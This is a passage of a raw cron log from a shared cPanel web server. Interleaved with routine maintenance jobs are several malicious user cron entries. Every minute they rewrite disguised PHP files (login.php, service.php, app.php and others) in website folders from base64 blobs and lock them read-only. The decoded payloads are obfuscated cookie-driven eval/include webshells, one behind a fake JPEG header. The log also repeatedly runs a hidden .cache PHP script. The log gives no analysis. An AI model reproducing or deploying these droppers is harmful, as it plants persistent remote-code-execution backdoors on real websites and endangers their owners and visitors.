AgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:08:02 medusa CROND[17740]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 08:08:02 medusa CROND[17741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:08:02 medusa CROND[17742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:08:02 medusa CROND[17743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:08:02 medusa CROND[17744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:08:02 medusa CROND[17745]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:08:02 medusa CROND[17748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:08:02 medusa CROND[17749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:08:02 medusa CROND[17750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:08:02 medusa CROND[17761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:08:02 medusa CROND[17764]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:08:02 medusa CROND[17769]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:09:02 medusa CROND[5061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:09:02 medusa CROND[5060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:09:02 medusa CROND[5062]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 08:09:02 medusa CROND[5063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:09:02 medusa CROND[5065]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:09:02 medusa CROND[5066]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:09:02 medusa CROND[5068]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:09:02 medusa CROND[5071]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:09:02 medusa CROND[5072]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:09:02 medusa CROND[5070]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:09:02 medusa CROND[5073]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:09:02 medusa CROND[5087]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:09:02 medusa CROND[5090]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:10:01 medusa CROND[21351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:10:01 medusa CROND[21498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:10:01 medusa CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:10:01 medusa CROND[21537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:10:01 medusa CROND[21538]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:10:01 medusa CROND[21539]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21542]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:10:01 medusa CROND[21541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:10:01 medusa CROND[21548]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:10:01 medusa CROND[21550]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21549]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:10:01 medusa CROND[21547]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:10:01 medusa CROND[21558]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:10:01 medusa CROND[21563]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:10:01 medusa CROND[21565]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:10:01 medusa CROND[21567]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
